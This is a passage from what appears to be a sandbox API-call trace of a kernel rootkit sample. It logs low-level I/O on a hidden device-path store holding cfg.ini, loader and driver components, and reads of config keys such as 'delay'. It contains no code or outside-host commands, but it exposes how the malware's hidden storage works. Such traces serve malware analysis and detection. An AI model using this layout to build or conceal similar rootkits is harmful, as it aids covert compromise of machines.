out: FastMutex=0xfffffa80027d3898) [0126.706] KeLeaveCriticalRegion () [0126.706] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.706] ReleaseMutex (hMutex=0xf0) returned 1 [0126.706] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.706] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.706] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.706] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.706] KeEnterCriticalRegion () [0126.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.706] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.706] IdePortDispatch () returned 0x103 [0126.706] KeWaitForMutexObject () returned 0x0 [0126.706] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.706] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.706] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.706] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.706] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.706] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.706] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.706] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.706] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.706] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.706] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.706] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.706] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.706] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.706] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.706] KeLeaveCriticalRegion () [0126.706] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.707] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.707] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.707] KeEnterCriticalRegion () [0126.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.707] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.707] IdePortDispatch () returned 0x103 [0126.707] KeWaitForMutexObject () returned 0x0 [0126.707] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.707] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.707] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.707] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.707] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.707] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.707] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.707] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.707] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.707] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.707] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.707] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.707] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.707] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.707] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.707] KeLeaveCriticalRegion () [0126.707] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.707] ReleaseMutex (hMutex=0x100) returned 1 [0126.707] Sleep (dwMilliseconds=0x2bf20) [0126.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6eb9d8f0, dwHighDateTime=0x1d24fa4)) [0126.714] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.714] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.714] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.714] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.714] KeEnterCriticalRegion () [0126.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.714] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.714] IdePortDispatch () returned 0x103 [0126.714] KeWaitForMutexObject () returned 0x0 [0126.714] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.714] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.714] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.714] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.714] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.714] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003accb30 [0126.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.714] KeLeaveCriticalRegion () [0126.714] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.714] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.714] KeEnterCriticalRegion () [0126.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.714] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.714] KeLeaveCriticalRegion () [0126.714] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.714] KeEnterCriticalRegion () [0126.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.715] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.715] IdePortDispatch () returned 0x103 [0126.715] KeWaitForMutexObject () returned 0x0 [0126.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.715] KeLeaveCriticalRegion () [0126.715] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.715] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.715] KeEnterCriticalRegion () [0126.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.715] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b7000 [0126.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.715] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.715] IdePortDispatch () returned 0x103 [0126.715] KeWaitForMutexObject () returned 0x0 [0126.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.715] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.715] IdePortDispatch () returned 0x103 [0126.715] KeWaitForMutexObject () returned 0x0 [0126.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.716] KeLeaveCriticalRegion () [0126.716] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.716] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.716] KeEnterCriticalRegion () [0126.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.716] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.716] KeLeaveCriticalRegion () [0126.716] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.716] KeEnterCriticalRegion () [0126.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.716] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.716] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003accbf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.716] KeLeaveCriticalRegion () [0126.716] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.716] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.716] KeEnterCriticalRegion () [0126.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.716] ExFreePoolWithTag (P=0xfffffa8003accb30, Tag=0x0) [0126.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.716] KeLeaveCriticalRegion () [0126.716] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.716] ReleaseMutex (hMutex=0xf0) returned 1 [0126.717] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.717] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.717] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.717] KeEnterCriticalRegion () [0126.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.717] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.717] IdePortDispatch () returned 0x103 [0126.717] KeWaitForMutexObject () returned 0x0 [0126.717] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.717] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.717] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.717] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.717] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.717] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac64b0 [0126.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.717] KeLeaveCriticalRegion () [0126.717] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.717] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.717] KeEnterCriticalRegion () [0126.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.717] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.717] KeLeaveCriticalRegion () [0126.717] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.717] KeEnterCriticalRegion () [0126.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.717] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.717] IdePortDispatch () returned 0x103 [0126.717] KeWaitForMutexObject () returned 0x0 [0126.718] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.718] KeLeaveCriticalRegion () [0126.718] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.718] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.718] KeEnterCriticalRegion () [0126.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.718] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b8000 [0126.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.718] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.718] IdePortDispatch () returned 0x103 [0126.718] KeWaitForMutexObject () returned 0x0 [0126.718] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.718] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.718] IdePortDispatch () returned 0x103 [0126.718] KeWaitForMutexObject () returned 0x0 [0126.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.718] KeLeaveCriticalRegion () [0126.718] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.719] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.719] KeEnterCriticalRegion () [0126.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.719] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.719] KeLeaveCriticalRegion () [0126.719] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.719] KeEnterCriticalRegion () [0126.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.719] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.719] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.719] KeLeaveCriticalRegion () [0126.719] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.719] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.719] KeEnterCriticalRegion () [0126.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.719] ExFreePoolWithTag (P=0xfffffa8003ac64b0, Tag=0x0) [0126.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.719] KeLeaveCriticalRegion () [0126.719] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.719] ReleaseMutex (hMutex=0xf0) returned 1 [0126.719] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.719] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.719] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.719] KeEnterCriticalRegion () [0126.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.720] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.720] IdePortDispatch () returned 0x103 [0126.720] KeWaitForMutexObject () returned 0x0 [0126.720] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.720] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.720] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.720] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.720] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.720] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed5c0 [0126.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.720] KeLeaveCriticalRegion () [0126.720] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.720] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.720] KeEnterCriticalRegion () [0126.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.720] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.720] KeLeaveCriticalRegion () [0126.720] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.720] KeEnterCriticalRegion () [0126.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.720] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.720] IdePortDispatch () returned 0x103 [0126.720] KeWaitForMutexObject () returned 0x0 [0126.721] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.721] KeLeaveCriticalRegion () [0126.721] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.721] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.721] KeEnterCriticalRegion () [0126.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.721] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b9000 [0126.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 